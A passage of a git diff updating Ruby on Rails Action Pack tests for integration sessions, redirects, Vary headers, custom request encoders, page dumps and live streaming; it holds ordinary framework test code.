-    assert_called_with @session, :process, [:delete, path, params: params, headers: headers] do
+    assert_called_with @session, :process, [:delete, path], params: params, headers: headers do
       @session.delete(path, params: params, headers: headers)
     end
   end
 
   def test_head
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:head, path, params: params, headers: headers] do
+    assert_called_with @session, :process, [:head, path], params: params, headers: headers do
       @session.head(path, params: params, headers: headers)
     end
   end
 
   def test_xml_http_request_get
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:get, path, params: params, headers: headers, xhr: true] do
+    assert_called_with @session, :process, [:get, path], params: params, headers: headers, xhr: true do
       @session.get(path, params: params, headers: headers, xhr: true)
     end
   end
 
   def test_xml_http_request_post
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:post, path, params: params, headers: headers, xhr: true] do
+    assert_called_with @session, :process, [:post, path], params: params, headers: headers, xhr: true do
       @session.post(path, params: params, headers: headers, xhr: true)
     end
   end
 
   def test_xml_http_request_patch
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:patch, path, params: params, headers: headers, xhr: true] do
+    assert_called_with @session, :process, [:patch, path], params: params, headers: headers, xhr: true do
       @session.patch(path, params: params, headers: headers, xhr: true)
     end
   end
 
   def test_xml_http_request_put
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:put, path, params: params, headers: headers, xhr: true] do
+    assert_called_with @session, :process, [:put, path], params: params, headers: headers, xhr: true do
       @session.put(path, params: params, headers: headers, xhr: true)
     end
   end
 
   def test_xml_http_request_delete
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:delete, path, params: params, headers: headers, xhr: true] do
+    assert_called_with @session, :process, [:delete, path], params: params, headers: headers, xhr: true do
       @session.delete(path, params: params, headers: headers, xhr: true)
     end
   end
 
   def test_xml_http_request_head
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:head, path, params: params, headers: headers, xhr: true] do
+    assert_called_with @session, :process, [:head, path], params: params, headers: headers, xhr: true do
       @session.head(path, params: params, headers: headers, xhr: true)
     end
   end
@@ -133,7 +136,15 @@ def test_opens_new_session
     session1 = @test.open_session { |sess| }
     session2 = @test.open_session # implicit session
 
-    assert !session1.equal?(session2)
+    assert_not session1.equal?(session2)
+  end
+
+  def test_child_session_assertions_bubble_up_to_root
+    assertions_before = @test.assertions
+    @test.open_session.assert(true)
+    assertions_after = @test.assertions
+
+    assert_equal 1, assertions_after - assertions_before
   end
 
   # RSpec mixes Matchers (which has a #method_missing) into
@@ -141,8 +152,8 @@ def test_opens_new_session
   # try to delegate these methods to the session object.
   def test_does_not_prevent_method_missing_passing_up_to_ancestors
     mixin = Module.new do
-      def method_missing(name, *args)
-        name.to_s == "foo" ? "pass" : super
+      def method_missing(name, ...)
+        name == :foo ? "pass" : super
       end
     end
     @test.class.superclass.include(mixin)
@@ -150,7 +161,27 @@ def method_missing(name, *args)
       assert_equal "pass", @test.foo
     ensure
       # leave other tests as unaffected as possible
-      mixin.__send__(:remove_method, :method_missing)
+      mixin.remove_method :method_missing
+    end
+  end
+end
+
+class RackLintIntegrationTest < ActionDispatch::IntegrationTest
+  test "integration test follows rack SPEC" do
+    with_routing do |set|
+      set.draw do
+        get "/", to: ->(_) { [200, {}, [""]] }
+      end
+
+      get "/"
+
+      assert_equal 200, status
+    end
+  end
+
+  def app
+    @app ||= self.class.build_app do |middleware|
+      middleware.unshift Rack::Lint
     end
   end
 end
@@ -160,9 +191,10 @@ def method_missing(name, *args)
 class IntegrationTestUsesCorrectClass < ActionDispatch::IntegrationTest
   def test_integration_methods_called
     reset!
+    headers = { "Origin" => "*" }
 
-    %w( get post head patch put delete ).each do |verb|
-      assert_nothing_raised { __send__(verb, "/") }
+    %w( get post head patch put delete options ).each do |verb|
+      assert_nothing_raised { __send__(verb, "/", headers: headers) }
     end
   end
 end
@@ -180,6 +212,15 @@ def get
       end
     end
 
+    def get_with_vary_set_x_requested_with
+      respond_to do |format|
+        format.json do
+          response.headers["Vary"] = "X-Requested-With"
+          render json: "JSON OK", status: 200
+        end
+      end
+    end
+
     def get_with_params
       render plain: "foo: #{params[:foo]}", status: 200
     end
@@ -211,6 +252,14 @@ def redirect
       redirect_to action_url("get")
     end
 
+    def redirect_307
+      redirect_to action_url("post"), status: 307
+    end
+
+    def redirect_308
+      redirect_to action_url("post"), status: 308
+    end
+
     def remove_header
       response.headers.delete params[:header]
       head :ok, "c" => "3"
@@ -267,12 +316,14 @@ def test_post
     end
   end
 
+  include CookieAssertions
+
   test "response cookies are added to the cookie jar for the next request" do
     with_test_route_set do
       cookies["cookie_1"] = "sugar"
       cookies["cookie_2"] = "oatmeal"
       get "/cookie_monster"
-      assert_equal "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"]
+      assert_set_cookie_header "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"]
       assert_equal({ "cookie_1" => "", "cookie_2" => "oatmeal", "cookie_3" => "chocolate" }, cookies.to_hash)
     end
   end
@@ -321,11 +372,12 @@ def test_redirect
       assert_response 302
       assert_response :redirect
       assert_response :found
-      assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
+      assert_equal "", response.body
       assert_kind_of Nokogiri::HTML::Document, html_document
       assert_equal 1, request_count
 
       follow_redirect!
+      assert_equal "http://www.example.com/redirect", request.referer
       assert_response :success
       assert_equal "/get", path
 
@@ -335,6 +387,46 @@ def test_redirect
     end
   end
 
+  def test_307_redirect_uses_the_same_http_verb
+    with_test_route_set do
+      post "/redirect_307"
+      assert_equal 307, status
+      follow_redirect!
+      assert_equal "POST", request.method
+    end
+  end
+
+  def test_308_redirect_uses_the_same_http_verb
+    with_test_route_set do
+      post "/redirect_308"
+      assert_equal 308, status
+      follow_redirect!
+      assert_equal "POST", request.method
+    end
+  end
+
+  def test_redirect_reset_html_document
+    with_test_route_set do
+      get "/redirect"
+      previous_html_document = html_document
+
+      follow_redirect!
+
+      assert_response :ok
+      assert_not_same previous_html_document, html_document
+    end
+  end
+
+  def test_redirect_with_arguments
+    with_test_route_set do
+      get "/redirect"
+      follow_redirect! params: { foo: :bar }
+
+      assert_response :ok
+      assert_equal "bar", request.parameters["foo"]
+    end
+  end
+
   def test_xml_http_request_get
     with_test_route_set do
       get "/get", xhr: true
@@ -361,7 +453,7 @@ def test_request_with_bad_format
     a = open_session
     b = open_session
 
-    refute_same(a.integration_session, b.integration_session)
+    assert_not_same(a.integration_session, b.integration_session)
   end
 
   def test_get_with_query_string
@@ -398,11 +490,12 @@ def test_post_then_get_with_parameters_do_not_leak_across_requests
 
       get "/get_with_params", params: { foo: "bar" }
 
-      assert request.env["rack.input"].string.empty?
+      input = request.env["rack.input"]
+      assert(input.nil? || input.read == "")
       assert_equal "foo=bar", request.env["QUERY_STRING"]
       assert_equal "foo=bar", request.query_string
       assert_equal "bar", request.parameters["foo"]
-      assert request.parameters["leaks"].nil?
+      assert_nil request.parameters["leaks"]
     end
   end
 
@@ -498,14 +591,47 @@ def test_accept_not_overridden_when_xhr_true
     with_test_route_set do
       get "/get", headers: { "Accept" => "application/json" }, xhr: true
       assert_equal "application/json", request.accept
-      assert_equal "application/json", response.content_type
+      assert_equal "application/json", response.media_type
 
       get "/get", headers: { "HTTP_ACCEPT" => "application/json" }, xhr: true
       assert_equal "application/json", request.accept
-      assert_equal "application/json", response.content_type
+      assert_equal "application/json", response.media_type
     end
   end
 
+  def test_setting_vary_header_when_request_is_xhr_with_accept_header
+    with_test_route_set do
+      get "/get", headers: { "Accept" => "application/json" }, xhr: true
+      assert_equal "Accept", response.headers["Vary"]
+    end
+  end
+
+  def test_not_setting_vary_header_when_format_is_provided
+    with_test_route_set do
+      get "/get", params: { format: "json" }
+      assert_nil response.headers["Vary"]
+    end
+  end
+
+  def test_not_setting_vary_header_when_it_has_already_been_set
+    with_test_route_set do
+      get "/get_with_vary_set_x_requested_with", headers: { "Accept" => "application/json" }, xhr: true
+      assert_equal "X-Requested-With", response.headers["Vary"]
+    end
+  end
+
+  def test_not_setting_vary_header_when_ignore_accept_header_is_set
+    original_ignore_accept_header = ActionDispatch::Request.ignore_accept_header
+    ActionDispatch::Request.ignore_accept_header = true
+
+    with_test_route_set do
+      get "/get", headers: { "Accept" => "application/json" }, xhr: true
+      assert_nil response.headers["Vary"]
+    end
+  ensure
+    ActionDispatch::Request.ignore_accept_header = original_ignore_accept_header
+  end
+
   private
     def with_default_headers(headers)
       original = ActionDispatch::Response.default_headers
@@ -525,7 +651,7 @@ def with_test_route_set
         set.draw do
           get "moved" => redirect("/method")
 
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             match ":action", to: controller, via: [:get, :post], as: :action
             get "get/:action", to: controller, as: :get_action
           end
@@ -543,7 +669,7 @@ class MetalIntegrationTest < ActionDispatch::IntegrationTest
 
   class Poller
     def self.call(env)
-      if env["PATH_INFO"] =~ /^\/success/
+      if /^\/success/.match?(env["PATH_INFO"])
         [200, { "Content-Type" => "text/plain", "Content-Length" => "12" }, ["Hello World!"]]
       else
         [404, { "Content-Type" => "text/plain", "Content-Length" => "0" }, []]
@@ -617,6 +743,12 @@ def test_keeps_uncommon_ports_in_host
 end
 
 class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
+  class MetalController < ActionController::Metal
+    def new
+      self.status = 200
+    end
+  end
+
   class TestController < ActionController::Base
     def index
       render plain: "index"
@@ -647,11 +779,14 @@ def self.call(*)
   routes.draw do
     get "",    to: "application_integration_test/test#index", as: :empty_string
 
+    get "metal", to: "application_integration_test/metal#new", as: :new_metal
+
     get "foo", to: "application_integration_test/test#index", as: :foo
     get "bar", to: "application_integration_test/test#index", as: :bar
 
     mount MountedApp => "/mounted", :as => "mounted"
-    get "fooz" => proc { |env| [ 200, { "X-Cascade" => "pass" }, [ "omg" ] ] }, :anchor => false
+    get "fooz" => proc { |env| [ 200, { ActionDispatch::Constants::X_CASCADE => "pass" }, [ "omg" ] ] },
+      :anchor => false
     get "fooz", to: "application_integration_test/test#index"
   end
 
@@ -686,6 +821,11 @@ def app
     assert_equal "/bar", bar_path
   end
 
+  test "route helpers after metal controller access" do
+    get "/metal"
+    assert_equal "/foo?q=solution", foo_path(q: "solution")
+  end
+
   test "missing route helper before controller access" do
     assert_raise(NameError) { missing_path }
   end
@@ -736,6 +876,30 @@ def app
   end
 end
 
+class ControllerWithHeadersMethodIntegrationTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def index
+      render plain: "ok"
+    end
+
+    def headers
+      {}.freeze
+    end
+  end
+
+  test "doesn't call controller's headers method" do
+    with_routing do |routes|
+      routes.draw do
+        get "/ok" => "controller_with_headers_method_integration_test/test#index"
+      end
+
+      get "/ok"
+
+      assert_response 200
+    end
+  end
+end
+
 class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
   class FooController < ActionController::Base
     def index
@@ -784,17 +948,17 @@ def app
     end
   end
 
-  test "session uses default url options from routes" do
+  test "session uses default URL options from routes" do
     assert_equal "http://foo.com/foo", foos_url
   end
 
-  test "current host overrides default url options from routes" do
+  test "current host overrides default URL options from routes" do
     get "/foo"
     assert_response :success
     assert_equal "http://www.example.com/foo", foos_url
   end
 
-  test "controller can override default url options from request" do
+  test "controller can override default URL options from request" do
     get "/bar"
     assert_response :success
     assert_equal "http://bar.com/foo", foos_url
@@ -902,7 +1066,7 @@ def ok
   def test_request
     with_routing do |routes|
       routes.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action" => FooController
         end
       end
@@ -934,6 +1098,12 @@ def foos
       render plain: "ok"
     end
 
+    def foos_html
+      render inline: <<~ERB
+        <code><%= params.permit(:foo) %></code>
+      ERB
+    end
+
     def foos_json
       render json: params.permit(:foo)
     end
@@ -941,12 +1111,16 @@ def foos_json
     def foos_wibble
       render plain: "ok"
     end
+
+    def foos_json_api
+      render plain: "ok"
+    end
   end
 
   def test_standard_json_encoding_works
     with_routing do |routes|
       routes.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           post ":action" => FooController
         end
       end
@@ -959,10 +1133,21 @@ def test_standard_json_encoding_works
     end
   end
 
+  def test_encoding_as_html
+    post_to_foos as: :html do
+      assert_response :success
+      assert_equal "application/x-www-form-urlencoded", request.media_type
+      assert_equal "text/html", request.accepts.first.to_s
+      assert_equal :html, request.format.ref
+      assert_equal({ "foo" => "fighters" }, request.request_parameters)
+      assert_equal({ "foo" => "fighters" }.to_s, response.parsed_body.at("code").text)
+    end
+  end
+
   def test_encoding_as_json
     post_to_foos as: :json do
       assert_response :success
-      assert_equal "application/json", request.content_type
+      assert_equal "application/json", request.media_type
       assert_equal "application/json", request.accepts.first.to_s
       assert_equal :json, request.format.ref
       assert_equal({ "foo" => "fighters" }, request.request_parameters)
@@ -973,7 +1158,7 @@ def test_encoding_as_json
   def test_doesnt_mangle_request_path
     with_routing do |routes|
       routes.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           post ":action" => FooController
         end
       end
@@ -1001,7 +1186,7 @@ def test_registering_custom_encoder
     post_to_foos as: :wibble do
       assert_response :success
       assert_equal "/foos_wibble", request.path
-      assert_equal "text/wibble", request.content_type
+      assert_equal "text/wibble", request.media_type
       assert_equal "text/wibble", request.accepts.first.to_s
       assert_equal :wibble, request.format.ref
       assert_equal Hash.new, request.request_parameters # Unregistered MIME Type can't be parsed.
@@ -1011,10 +1196,30 @@ def test_registering_custom_encoder
     Mime::Type.unregister :wibble
   end
 
+  def test_registering_custom_encoder_including_parameters
+    accept_header = 'application/vnd.api+json; profile="https://jsonapi.org/profiles/ethanresnick/cursor-pagination/"; ext="https://jsonapi.org/ext/atomic"'
+    Mime::Type.register accept_header, :json_api
+
+    ActionDispatch::IntegrationTest.register_encoder(:json_api,
+      param_encoder: -> params { params })
+
+    post_to_foos as: :json_api do
+      assert_response :success
+      assert_equal "/foos_json_api", request.path
+      assert_equal "application/vnd.api+json", request.media_type
+      assert_equal accept_header, request.accepts.first.to_s
+      assert_equal :json_api, request.format.ref
+      assert_equal Hash.new, request.request_parameters # Unregistered MIME Type can't be parsed.
+      assert_equal "ok", response.parsed_body
+    end
+  ensure
+    Mime::Type.unregister :json_api
+  end
+
   def test_parsed_body_without_as_option
     with_routing do |routes|
       routes.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action" => FooController
         end
       end
@@ -1028,7 +1233,7 @@ def test_parsed_body_without_as_option
   def test_get_parameters_with_as_option
     with_routing do |routes|
       routes.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action" => FooController
         end
       end
@@ -1042,7 +1247,7 @@ def test_get_parameters_with_as_option
   def test_get_request_with_json_uses_method_override_and_sends_a_post_request
     with_routing do |routes|
       routes.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action" => FooController
         end
       end
@@ -1055,11 +1260,25 @@ def test_get_request_with_json_uses_method_override_and_sends_a_post_request
     end
   end
 
+  def test_get_request_with_json_excludes_null_query_string
+    with_routing do |routes|
+      routes.draw do
+        ActionDispatch.deprecator.silence do
+          get ":action" => FooController
+        end
+      end
+
+      get "/foos_json", as: :json
+
+      assert_equal "http://www.example.com/foos_json", request.url
+    end
+  end
+
   private
     def post_to_foos(as:)
       with_routing do |routes|
         routes.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             post ":action" => FooController
           end
         end
@@ -1090,8 +1309,8 @@ def app
     self.class
   end
 
-  def self.fixture_path
-    File.dirname(__FILE__) + "/../fixtures/multipart"
+  def self.file_fixture_path
+    File.expand_path("../fixtures/multipart", __dir__)
   end
 
   routes.draw do
@@ -1101,8 +1320,94 @@ def self.fixture_path
   def test_fixture_file_upload
     post "/test_file_upload",
       params: {
-        file: fixture_file_upload("/ruby_on_rails.jpg", "image/jpg")
+        file: fixture_file_upload("/ruby_on_rails.jpg", "image/jpeg")
       }
     assert_equal "45142", @response.body
   end
 end
+
+# rubocop:disable Lint/Debugger
+class PageDumpIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def index
+      render plain: "Hello world"
+    end
+
+    def redirect
+      redirect_to action: :index
+    end
+  end
+
+  def with_root(&block)
+    Rails.stub(:root, Pathname.getwd.join("test"), &block)
+  end
+
+  def setup
+    with_root do
+      remove_dumps
+    end
+  end
+
+  def teardown
+    with_root do
+      remove_dumps
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  def dump_path
+    Pathname.new(Dir["#{Rails.root}/tmp/html_dump/#{method_name}*"].sole)
+  end
+
+  def remove_dumps
+    Dir["#{Rails.root}/tmp/html_dump/#{method_name}*"].each(&File.method(:delete))
+  end
+
+  routes.draw do
+    get "/" => "page_dump_integration_test/foo#index"
+    get "/redirect" => "page_dump_integration_test/foo#redirect"
+  end
+
+  test "save_and_open_page saves a copy of the page and call to Launchy" do
+    launchy_called = false
+    get "/"
+    with_root do
+      Launchy.stub(:open, ->(path) { launchy_called = (path == dump_path) }) do
+        save_and_open_page
+      end
+      assert launchy_called
+      assert_equal File.read(dump_path), response.body
+    end
+  end
+
+  test "prints a warning to install launchy if it can't be loaded" do
+    get "/"
+    with_root do
+      Launchy.stub(:open, ->(path) { raise LoadError.new }) do
+        self.stub(:warn, ->(warning) { warning.include?("Please install the launchy gem to open the file automatically.") }) do
+          save_and_open_page
+        end
+      end
+      assert_equal File.read(dump_path), response.body
+    end
+  end
+
+  test "raises when called after a redirect" do
+    with_root do
+      get "/redirect"
+      assert_raise(InvalidResponse) { save_and_open_page }
+    end
+  end
+end
+# rubocop:enable Lint/Debugger
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
index e76628b9369b9..d0b3150f90ded 100644
--- a/actionpack/test/controller/live_stream_test.rb
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -1,5 +1,10 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "timeout"
 require "concurrent/atomic/count_down_latch"
+require "zeitwerk"
+
 Thread.abort_on_exception = true
 
 module ActionController
@@ -27,7 +32,7 @@ def sse_with_event
       def sse_with_retry
         sse = SSE.new(response.stream, retry: 1000)
         sse.write("{\"name\":\"John\"}")
-        sse.write({ name: "Ryan" }, retry: 1500)
+        sse.write({ name: "Ryan" }, { retry: 1500 })
       ensure
         sse.close
       end
@@ -35,7 +40,7 @@ def sse_with_retry
       def sse_with_id
         sse = SSE.new(response.stream)
         sse.write("{\"name\":\"John\"}", id: 1)
-        sse.write({ name: "Ryan" }, id: 2)
+        sse.write({ name: "Ryan" }, { id: 2 })
       ensure
         sse.close
       end
@@ -58,16 +63,16 @@ def test_basic_sse
       get :basic_sse
 
       wait_for_response_stream_close
-      assert_match(/data: {\"name\":\"John\"}/, response.body)
-      assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+      assert_match(/data: {"name":"John"}/, response.body)
+      assert_match(/data: {"name":"Ryan"}/, response.body)
     end
 
     def test_sse_with_event_name
       get :sse_with_event
 
       wait_for_response_stream_close
-      assert_match(/data: {\"name\":\"John\"}/, response.body)
-      assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+      assert_match(/data: {"name":"John"}/, response.body)
+      assert_match(/data: {"name":"Ryan"}/, response.body)
       assert_match(/event: send-name/, response.body)
     end
 
@@ -76,10 +81,10 @@ def test_sse_with_retry
 
       wait_for_response_stream_close
       first_response, second_response = response.body.split("\n\n")
-      assert_match(/data: {\"name\":\"John\"}/, first_response)
+      assert_match(/data: {"name":"John"}/, first_response)
       assert_match(/retry: 1000/, first_response)
 
-      assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+      assert_match(/data: {"name":"Ryan"}/, second_response)
       assert_match(/retry: 1500/, second_response)
     end
 
@@ -88,10 +93,10 @@ def test_sse_with_id
 
       wait_for_response_stream_close
       first_response, second_response = response.body.split("\n\n")
-      assert_match(/data: {\"name\":\"John\"}/, first_response)
+      assert_match(/data: {"name":"John"}/, first_response)
       assert_match(/id: 1/, first_response)
 
-      assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+      assert_match(/data: {"name":"Ryan"}/, second_response)
       assert_match(/id: 2/, second_response)
     end
 
@@ -109,6 +114,10 @@ class LiveStreamTest < ActionController::TestCase
     class Exception < StandardError
     end
 
+    class CurrentState < ActiveSupport::CurrentAttributes
+      attribute :id
+    end
+
     class TestController < ActionController::Base
       include ActionController::Live
 
@@ -128,6 +137,12 @@ def render_text
         render plain: "zomg"
       end
 
+      def write_lines
+        response.stream.writeln "hello\n"
+        response.stream.writeln "world"
+        response.stream.close
+      end
+
       def default_header
         response.stream.write "<html><body>hi</body></html>"
         response.stream.close
@@ -141,6 +156,39 @@ def basic_stream
         response.stream.close
       end
 
+      def basic_send_stream
+        send_stream(filename: "my.csv") do |stream|
+          stream.write "name,age\ndavid,41"
+        end
+      end
+
+      def send_stream_with_options
+        send_stream(filename: "export", disposition: "inline", type: :json) do |stream|
+          stream.write %[{ name: "David", age: 41 }]
+        end
+      end
+
+      def send_stream_with_inferred_content_type
+        send_stream(filename: "sample.csv") do |stream|
+          stream.writeln "fruit,quantity"
+          stream.writeln "apple,5"
+        end
+      end
+
+      def send_stream_with_implicit_content_type
+        send_stream(filename: "sample.csv", type: :csv) do |stream|
+          stream.writeln "fruit,quantity"
+          stream.writeln "apple,5"
+        end
+      end
+
+      def send_stream_with_explicit_content_type
+        send_stream(filename: "sample.csv", type: "text/csv") do |stream|
+          stream.writeln "fruit,quantity"
+          stream.writeln "apple,5"
+        end
+      end
+
       def blocking_stream
         response.headers["Content-Type"] = "text/event-stream"
         %w{ hello world }.each do |word|
@@ -151,23 +199,37 @@ def blocking_stream
       end
 
       def write_sleep_autoload
-        path = File.join(File.dirname(__FILE__), "../fixtures")
-        ActiveSupport::Dependencies.autoload_paths << path
+        path = File.expand_path("../fixtures", __dir__)
+        Zeitwerk.with_loader do |loader|
+          loader.push_dir(path)
+          loader.ignore(File.join(path, "公共"))
+          loader.setup
+
+          response.headers["Content-Type"] = "text/event-stream"
+          response.stream.write "before load"
+          sleep 0.01
+          silence_warnings do
+            ::LoadMe
+          end
+          response.stream.close
+          latch.count_down
+        ensure
+          loader.unload
+        end
+      end
+
+      def thread_locals
+        tc.assert_equal "aaron", Thread.current[:setting]
 
         response.headers["Content-Type"] = "text/event-stream"
-        response.stream.write "before load"
-        sleep 0.01
-        silence_warning do
-          ::LoadMe
+        %w{ hello world }.each do |word|
+          response.stream.write word
         end
         response.stream.close
-        latch.count_down
-
-        ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
       end
 
-      def thread_locals
-        tc.assert_equal "aaron", Thread.current[:setting]
+      def no_thread_locals
+        tc.assert_nil Thread.current[:setting]
 
         response.headers["Content-Type"] = "text/event-stream"
         %w{ hello world }.each do |word|
@@ -176,6 +238,19 @@ def thread_locals
         response.stream.close
       end
 
+      def isolated_state
+        render plain: CurrentState.id.inspect
+      end
+
+      def raw_isolated_state
+        render plain: ActiveSupport::IsolatedExecutionState[:raw_isolated_state].inspect
+      end
+
+      def connected_to_stack_not_inherited
+        stack = ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack]
+        render plain: stack.inspect
+      end
+
       def with_stale
         render plain: "stale" if stale?(etag: "123", template: false)
       end
@@ -243,6 +318,13 @@ def overfill_buffer_and_die
         end
       end
 
+      def overfill_default_buffer
+        ("a".."z").each do |char|
+          response.stream.write(char)
+        end
+        response.stream.close
+      end
+
       def ignore_client_disconnect
         response.stream.ignore_disconnect = true
 
@@ -261,9 +343,9 @@ def ignore_client_disconnect
     tests TestController
 
     def assert_stream_closed
-      assert response.stream.closed?, "stream should be closed"
-      assert response.committed?,     "response should be committed"
-      assert response.sent?,          "response should be sent"
+      assert_predicate response.stream, :closed?, "stream should be closed"
+      assert_predicate response, :committed?,     "response should be committed"
+      assert_predicate response, :sent?,          "response should be sent"
     end
 
     def capture_log_output
@@ -280,8 +362,12 @@ def capture_log_output
     def setup
       super
 
-      def @controller.new_controller_thread
-        Thread.new { yield }
+      def @controller.new_controller_thread(&block)
+        original_new_controller_thread(&block)
+      end
+
+      def @controller.clean_up_thread_locals(*args)
+        original_clean_up_thread_locals(*args)
       end
     end
 
@@ -297,17 +383,79 @@ def test_write_to_stream
       assert_equal "text/event-stream", @response.headers["Content-Type"]
     end
 
+    def test_write_lines_to_stream
+      get :write_lines
+      assert_equal "hello\nworld\n", @response.body
+    end
+
+    def test_send_stream
+      get :basic_send_stream
+      assert_equal "name,age\ndavid,41", @response.body
+      assert_equal "text/csv", @response.headers["Content-Type"]
+      assert_match "attachment", @response.headers["Content-Disposition"]
+      assert_match "my.csv", @response.headers["Content-Disposition"]
+    end
+
+    def test_send_stream_instrumentation
+      expected_payload = {
+        filename: "sample.csv",
+        disposition: "attachment",
+        type: "text/csv"
+      }
+
+      assert_notification("send_stream.action_controller", expected_payload) do
+        get :send_stream_with_explicit_content_type
+      end
+    end
+
+    def test_send_stream_with_options
+      get :send_stream_with_options
+      assert_equal %[{ name: "David", age: 41 }], @response.body
+      assert_equal "application/json", @response.headers["Content-Type"]
+      assert_match "inline", @response.headers["Content-Disposition"]
+      assert_match "export", @response.headers["Content-Disposition"]
+    end
+
+    def test_send_stream_with_explicit_content_type
+      get :send_stream_with_explicit_content_type
+
+      assert_equal "fruit,quantity\napple,5\n", @response.body
+
+      content_type = @response.headers.fetch("Content-Type")
+      assert_equal String, content_type.class
+      assert_equal "text/csv", content_type
+    end
+
+    def test_send_stream_with_implicit_content_type
+      get :send_stream_with_implicit_content_type
+
+      assert_equal "fruit,quantity\napple,5\n", @response.body
+
+      content_type = @response.headers.fetch("Content-Type")
+      assert_equal String, content_type.class
+      assert_equal "text/csv", content_type
+    end
+
+    def test_send_stream_with_inferred_content_type
+      get :send_stream_with_inferred_content_type
+
+      assert_equal "fruit,quantity\napple,5\n", @response.body
+
+      content_type = @response.headers.fetch("Content-Type")
+      assert_equal String, content_type.class
+      assert_equal "text/csv", content_type
+    end
+
     def test_delayed_autoload_after_write_within_interlock_hook
       # Simulate InterlockHook
       ActiveSupport::Dependencies.interlock.start_running
       res = get :write_sleep_autoload
-      res.each {}
+      res.each { }
       ActiveSupport::Dependencies.interlock.done_running
+      pass
     end
 
     def test_async_stream
-      rubinius_skip "https://github.com/rubinius/rubinius/issues/2934"
-
       @controller.latch = Concurrent::CountDownLatch.new
       parts             = ["hello", "world"]
 
@@ -326,7 +474,15 @@ def test_async_stream
       assert t.join(3), "timeout expired before the thread terminated"
     end
 
+    def test_infinite_test_buffer
+      get :overfill_default_buffer
+      assert_equal ("a".."z").to_a.join, response.stream.body
+    end
+
     def test_abort_with_full_buffer
+      old_queue_size = ActionController::Live::Buffer.queue_size
+      ActionController::Live::Buffer.queue_size = 10
+
       @controller.latch = Concurrent::CountDownLatch.new
       @controller.error_latch = Concurrent::CountDownLatch.new
 
@@ -347,6 +503,8 @@ def test_abort_with_full_buffer
         @controller.error_latch.wait
         assert_match "Error while streaming", output.rewind && output.read
       end
+    ensure
+      ActionController::Live::Buffer.queue_size = old_queue_size
     end
 
     def test_ignore_client_disconnect
@@ -380,6 +538,71 @@ def test_thread_locals_get_copied
       get :thread_locals
     end
 
+    def test_isolated_state_get_copied
+      @controller.tc = self
+      CurrentState.id = "isolated_state"
+
+      get :isolated_state
+      assert_equal "isolated_state".inspect, response.body
+      assert_stream_closed
+    end
+
+    def test_thread_locals_get_reset
+      @controller.tc = self
+
+      Thread.current[:originating_thread] = Thread.current.object_id
+      Thread.current[:setting]            = "aaron"
+
+      get :thread_locals
+
+      Thread.current[:setting] = nil
+
+      get :no_thread_locals
+    end
+
+    def test_isolated_state_get_reset
+      @controller.tc = self
+      ActiveSupport::IsolatedExecutionState[:raw_isolated_state] = "buffy"
+
+      get :raw_isolated_state
+      assert_equal "buffy".inspect, response.body
+      assert_stream_closed
+
+      ActiveSupport::IsolatedExecutionState.clear
+
+      get :isolated_state
+      assert_equal nil.inspect, response.body
+      assert_stream_closed
+    end
+
+    def test_connected_to_stack_not_inherited
+      original = @controller.class.live_streaming_excluded_keys
+      @controller.class.live_streaming_excluded_keys = [:active_record_connected_to_stack]
+
+      stack = [{ role: :reading, shard: :default, prevent_writes: true, klasses: [] }]
+      ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack] = stack
+
+      get :connected_to_stack_not_inherited
+
+      assert_equal "nil", response.body
+      assert_stream_closed
+    ensure
+      @controller.class.live_streaming_excluded_keys = original
+      ActiveSupport::IsolatedExecutionState.delete(:active_record_connected_to_stack)
+    end
+
+    def test_live_streaming_doesnt_exclude_by_default
+      stack = [{ role: :reading, shard: :default, prevent_writes: true, klasses: [] }]
+      ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack] = stack
+
+      get :connected_to_stack_not_inherited
+
+      assert_match(/role.*reading/, response.body)
+      assert_stream_closed
+    ensure
+      ActiveSupport::IsolatedExecutionState.delete(:active_record_connected_to_stack)
+    end
+
     def test_live_stream_default_header
       get :default_header
       assert response.headers["Content-Type"]
@@ -420,14 +643,9 @@ def test_exception_handling_plain_text
     end
 
     def test_exception_callback_when_committed
-      current_threads = Thread.list
-
       capture_log_output do |output|
         get :exception_with_callback, format: "text/event-stream"
 
-        # Wait on the execution of all threads
